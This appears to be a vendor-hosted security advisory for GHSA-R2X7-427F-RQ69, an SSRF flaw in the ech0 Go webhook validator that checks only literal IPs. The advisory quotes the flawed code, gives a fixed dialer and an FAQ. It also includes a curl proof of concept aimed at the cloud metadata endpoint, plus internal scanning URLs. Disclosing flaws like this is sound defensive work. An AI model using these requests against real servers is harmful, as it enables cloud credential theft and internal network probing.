GHSA-R2X7-427F-RQ69

The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.

Details

The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):

func validateWebhookURL(rawURL string) error {
    parsed, err := url.Parse(rawURL)
    // ...
    host := strings.ToLower(parsed.Hostname())
    if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") {
        return errors.New(commonModel.INVALID_WEBHOOK_URL)
    }
    if ip := net.ParseIP(host); ip != nil {  // <-- returns nil for hostnames
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||
            ip.IsLinkLocalUnicast() || ip.IsUnspecified() {
            return errors.New(commonModel.INVALID_WEBHOOK_URL)
        }
    }
    return nil  // hostname passes all checks unchecked
}

net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).

Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:

• TestWebhook (webhook_setting_service.go:169): &http.Client{Timeout: 5 * time.Second}
• Dispatcher (dispatcher.go:51-58): &http.Client{...Transport: &http.Transport{...}}, no custom dialer

The Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.

Execution flow:

1. Admin calls POST /api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/
2. CreateWebhook → validateWebhookURL → net.ParseIP returns nil → passes validation
3. Webhook stored in database with is_active: true
4. On any echo event → Dispatcher.HandleObservation → Dispatch → SendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint

PoC

# Step 1: Create a webhook targeting cloud metadata via DNS rebinding
curl -X POST http://localhost:8080/api/webhook \
  -H 'Authorization: Bearer <admin-jwt>' \
  -H 'Content-Type: application/json' \
  -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}'

# Step 2: Trigger SSRF via test endpoint
curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \
  -H 'Authorization: Bearer <admin-jwt>'

# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).
# net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks.
# Delivery status and error messages reveal connectivity information.

# For internal network scanning:
# http://10.0.0.1.nip.io:8080/
# http://127.0.0.1.nip.io:6379/

# With is_active:true, every application event automatically dispatches
# to the SSRF target via Dispatcher.HandleObservation (no re-validation).

• Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS 169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.
• Internal network probing: Webhooks can scan internal services by observing delivery status (success/failed) and error messages, mapping internal network topology.
• Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.
• Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

GHSA-R2X7-427F-RQ69 has a CVSS score of 5.5 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.4.3); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:

import "net"

func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
    host, port, err := net.SplitHostPort(addr)
    if err != nil {
        return nil, err
    }
    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
    if err != nil {
        return nil, err
    }
    for _, ip := range ips {
        if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||
            ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {
            return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP)
        }
    }
    dialer := &net.Dialer{Timeout: 5 * time.Second}
    return dialer.DialContext(ctx, network, addr)
}

// Use in both TestWebhook and Dispatcher:
client := &http.Client{
    Timeout: 5 * time.Second,
    Transport: &http.Transport{
        DialContext: safeDialContext,
    },
}

This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.

1. What is GHSA-R2X7-427F-RQ69? GHSA-R2X7-427F-RQ69 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 4.4.3. It is fixed in 4.4.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is GHSA-R2X7-427F-RQ69? GHSA-R2X7-427F-RQ69 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lin-snow/ech0 are affected by GHSA-R2X7-427F-RQ69? github.com/lin-snow/ech0 (go) versions < 4.4.3 is affected.
4. Is there a fix for GHSA-R2X7-427F-RQ69? Yes. GHSA-R2X7-427F-RQ69 is fixed in 4.4.3. Upgrade to this version or later.
5. Is GHSA-R2X7-427F-RQ69 exploitable, and should I be worried? Whether GHSA-R2X7-427F-RQ69 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-R2X7-427F-RQ69 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-R2X7-427F-RQ69? Upgrade github.com/lin-snow/ech0 to 4.4.3 or later.